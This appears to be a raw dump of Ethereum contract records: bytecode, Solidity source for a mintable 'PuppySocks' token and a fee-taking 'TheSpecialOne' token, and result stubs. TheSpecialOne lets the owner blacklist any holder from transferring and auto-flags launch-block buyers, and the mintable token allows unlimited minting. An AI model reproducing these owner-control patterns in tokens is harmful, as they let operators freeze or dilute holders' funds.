3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220f7d36c83ee02c409c1f3ba9979cbcd46e1fe3cf32b143d42f943cbd9cc8f8e6a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,106
0x9ba4ed4ce177e3f5100fefc75fc61ecf3120ab95
pragma solidity ^0.5.2; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract httpstmePuppySocks is ERC20Mintable, ERC20Detailed { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("https://t.me/PuppySocks", "PSOCKS", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b5060043610610128576000357c01000000000000000000000000000000000000000000000000000000009004806340c10f19116100bf578063986502751161008e578063986502751461050b578063a457c2d714610515578063a9059cbb1461057b578063aa271e1a146105e1578063dd62ed3e1461063d57610128565b806340c10f191461038657806370a08231146103ec57806395d89b4114610444578063983b2d56146104c757610128565b80632e0f2625116100fb5780632e0f2625146102ba5780632ff2e9dc146102de578063313ce567146102fc578063395093511461032057610128565b806306fdde031461012d578063095ea7b3146101b057806318160ddd1461021657806323b872dd14610234575b600080fd5b6101356106b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101fc600480360360408110156101c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b604051808215151515815260200191505060405180910390f35b61021e61076e565b6040518082815260200191505060405180910390f35b6102a06004803603606081101561024a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610778565b604051808215151515815260200191505060405180910390f35b6102c2610829565b604051808260ff1660ff16815260200191505060405180910390f35b6102e661082e565b6040518082815260200191505060405180910390f35b61030461083f565b604051808260ff1660ff16815260200191505060405180910390f35b61036c6004803603604081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b6103d26004803603604081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b604051808215151515815260200191505060405180910390f35b61042e6004803603602081101561040257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610925565b6040518082815260200191505060405180910390f35b61044c61096d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048c578082015181840152602081019050610471565b50505050905090810190601f1680156104b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610509600480360360208110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a0f565b005b610513610a2f565b005b6105616004803603604081101561052b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3a565b604051808215151515815260200191505060405180910390f35b6105c76004803603604081101561059157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610adf565b604051808215151515815260200191505060405180910390f35b610623600480360360208110156105f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af6565b604051808215151515815260200191505060405180910390f35b61069f6004803603604081101561065357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b13565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561074d5780601f106107225761010080835404028352916020019161074d565b820191906000526020600020905b81548152906001019060200180831161073057829003601f168201915b5050505050905090565b6000610764338484610b9a565b6001905092915050565b6000600254905090565b6000610785848484610cfd565b61081e843361081985600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec990919063ffffffff16565b610b9a565b600190509392505050565b601281565b601260ff16600a0a633b9aca000281565b6000600660009054906101000a900460ff16905090565b60006108f133846108ec85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eeb90919063ffffffff16565b610b9a565b6001905092915050565b600061090633610af6565b151561091157600080fd5b61091b8383610f0c565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b610a1833610af6565b1515610a2357600080fd5b610a2c81611060565b50565b610a38336110ba565b565b6000610ad53384610ad085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec990919063ffffffff16565b610b9a565b6001905092915050565b6000610aec338484610cfd565b6001905092915050565b6000610b0c82600361111490919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610bd657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1257600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610d3957600080fd5b610d8a816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eeb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515610eda57600080fd5b600082840390508091505092915050565b6000808284019050838110151515610f0257600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f4857600080fd5b610f5d81600254610eeb90919063ffffffff16565b600281905550610fb4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eeb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6110748160036111a890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b6110ce81600361125890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561115157600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111e457600080fd5b6111ee8282611114565b1515156111fa57600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129457600080fd5b61129e8282611114565b15156112a957600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fea165627a7a723058203826caf67f83a4b4bc9da93eaec3a5b5a718ee9dd32ae685b3b05faa08af0b060029
{"success": true, "error": null, "results": {}}
7,107
0xe6d5a97b450383b2bc6b92dc45eeae5e58ebf021
/* 🏃🏿Telegram: https://t.me/thespecialonetoken 🏃🏿‍♀️Website: https://thespecialone.net 🏃🏿‍♂️Twitter: https://twitter.com/TheSpeciaI_0ne */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract TheSpecialOne is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "The Special One"; string private constant _symbol = "TSO"; uint private constant _decimals = 9; uint256 private _teamFee = 15; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f5578063cf0848f71461040a578063cf9d4afa1461042a578063dd62ed3e1461044a578063e6ec64ec14610490578063f2fde38b146104b057600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b4114610389578063a9059cbb146103b5578063b515566a146103d557600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d0565b005b34801561017e57600080fd5b5060408051808201909152600f81526e546865205370656369616c204f6e6560881b60208201525b6040516101b391906118ed565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611967565b61051c565b60405190151581526020016101b3565b3480156101f857600080fd5b50670de0b6b3a76400005b6040519081526020016101b3565b34801561021d57600080fd5b506101dc61022c366004611993565b610533565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b506101706102603660046119ea565b61059c565b34801561027157600080fd5b506101dc610280366004611aaf565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611aaf565b610632565b3480156102ca57600080fd5b50610170610680565b3480156102df57600080fd5b506101dc6102ee366004611aaf565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611aaf565b6106ba565b34801561033857600080fd5b506101706106dc565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037557600080fd5b50610170610384366004611aaf565b610712565b34801561039557600080fd5b5060408051808201909152600381526254534f60e81b60208201526101a6565b3480156103c157600080fd5b506101dc6103d0366004611967565b61078c565b3480156103e157600080fd5b506101706103f03660046119ea565b610799565b34801561040157600080fd5b506101706108b2565b34801561041657600080fd5b50610170610425366004611aaf565b610969565b34801561043657600080fd5b50610170610445366004611aaf